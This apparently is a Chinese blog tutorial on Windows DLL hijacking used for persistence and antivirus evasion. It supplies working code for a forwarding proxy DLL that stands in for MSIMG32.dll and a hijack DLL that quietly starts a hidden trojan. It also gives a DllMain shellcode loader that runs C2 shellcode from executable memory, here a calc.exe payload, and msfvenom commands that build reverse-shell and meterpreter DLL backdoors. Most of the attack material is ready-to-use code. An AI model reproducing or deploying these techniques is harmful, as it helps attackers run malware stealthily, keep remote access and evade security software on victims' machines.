DLL劫持

DLL劫持

DLL是Windows上的动态链接库的文件格式

而DLL劫持是攻击者是利用一些缺陷,使得进程在加载原本DLL时加载了攻击者准备好的恶意DLL文件

对于渗透测试,DLL劫持是我们在权限维持阶段常用的trick,同时也是白加黑免杀的一种技巧

DLL开发以及调用

选用windows上的visual studio这款IDE进行开发

  • 选用动态链接库DLL

image-20240214193324628

  • 项目结构如下:
    • dllmain.cpp:DLL程序主入口

image-20240214193405621

  • dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:	// 当DLL加载到进程地址空间时执行此情况
        ::MessageBox(NULL, L"this is a test", L"DLL Test", MB_OK | MB_ICONWARNING);
        break;
    case DLL_THREAD_ATTACH:		// 当DLL加载后在进程中创建一个新线程时执行此情况
    case DLL_THREAD_DETACH:		// 当线程从进程中分离时执行此情况, 一般做线程清理
    case DLL_PROCESS_DETACH:	// 当DLL从进程中卸载时执行此情况, 一般做进程清理
        break;
    }
    return TRUE;
}

// trick: 设置导出函数的方法如下, 导出函数可以被GetProcAddress获取
extern "C" __declspec(dllexport) void export_func(void);
  • 编译生成DLL文件,在相应的DLL项目右键点击生成

image-20240214193918052

image-20240214194027563

  • 调用

​ 主要使用LoadLibrary、GetProcAddress这两个API来进行调用

#include <stdio.h>
#include <Windows.h>


int main()
{
	PVOID hDll = NULL;
    hDll = LoadLibrary(L"C:\\Users\\icfh\\source\\repos\\DLLInjection\\Release\\DLLInjection.dll");
	if (hDll == NULL) {
		printf("Load DLL Error");
		return -1;
	}
	printf("Load DLL Success");
	return 0;
}

成功:

image-20240214201404739

windows DLL 搜索机制

参考:https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security

在Win XP SP2之前是默认未启用DLL搜索模式

之后开始启用安全DLL搜索模式:

  1. The directory from which the application loaded.
  2. The system directory.
  3. The 16-bit system directory.
  4. The Windows directory.
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.
  • 注册表配置和DLL安全策略
  1. 如果要关闭DLL安全搜索策略,则在注册表中创建HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode项,并置为0

  2. 为了防止一些易被劫持的系统DLL被劫持,将这些DLL写入到注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

image-20240214221750942

DLL劫持姿势

转发劫持

原理很简单,就是在恶意DLL的输出表上直接映射为原有的DLL文件上,可以参考下图(https://www.anquanke.com/post/id/232891#h2-0)

hajackload

此处以geek.exe文件为例

首先使用CFF Explorer查看geek.exe的导入表

image-20240214183208874

我们选择劫持MSIMG32.dll,该dll的输出表有如下函数

image-20240214183247761

在劫持DLL中直接进行转发

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        ::MessageBox(NULL, L"直接转发函数", L"From DLL Hijack", MB_OK | MB_ICONWARNING);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


// 直接转发函数
#pragma comment(linker, "/EXPORT:vSetDdrawflag=OLD_MSIMG32.vSetDdrawflag")
#pragma comment(linker, "/EXPORT:AlphaBlend=OLD_MSIMG32.AlphaBlend")
#pragma comment(linker, "/EXPORT:DllInitialize=OLD_MSIMG32.DllInitialize")
#pragma comment(linker, "/EXPORT:GradientFill=OLD_MSIMG32.GradientFill")
#pragma comment(linker, "/EXPORT:TransparentBlt=OLD_MSIMG32.TransparentBlt")

然后将劫持DLL和原来的DLL放在同一目录下

image-20240214183531885

运行即可触发执行恶意DLL

image-20240214183616524

DLL劫持免杀

利用DLL直接加载木马上线

  • 利用场景:

​ 已经上传了免杀🐎,但是还没执行。此时可以利用DLL劫持的技巧使得🐎的执行更加隐秘

在资源管理器中隐藏项目

attrib +h test.exe

image-20240214233618804

在劫持dll中创建进程

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        CreateProcess(L"C:\\Users\\icfh\\Desktop\\exe\\exp\\test.exe", NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
        break;
        break;
    }
    return TRUE;
}

以弹计算器为例:

image-20240214234259742

利用DLL直接上线

这里直接使用c2生成的c格式的shellcode,然后写入到dllmain中

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        unsigned char buf[] =
            "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
            "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
            "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
            "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
            "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
            "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
            "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
            "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
            "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
            "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
            "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
            "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
            "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
            "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
            "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
            "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
            "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
            "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
            "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
            "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
        size_t size = sizeof(buf);
        // 申请空间
        char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // 复制shellcode到申请的内存页中
        memcpy(inject, buf, size);
        // 创建新线程
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

msf生成dll后门操作

x64:msfvenom -p windows/x64/shell/reverse_tcp LHOST=.. LPORT=.. -f dll -o msf.dll
x86:msfvenom -p windows/meterpreter/reverse_tcp LHOST=.. LPORT=.. -f dll -o msf.dll

参考文献

1.https://www.anquanke.com/post/id/225911#h2-0

2.https://www.anquanke.com/post/id/232891#h2-8

posted @ 2024-02-15 10:56  Icfh  阅读(119)  评论(0编辑  收藏  举报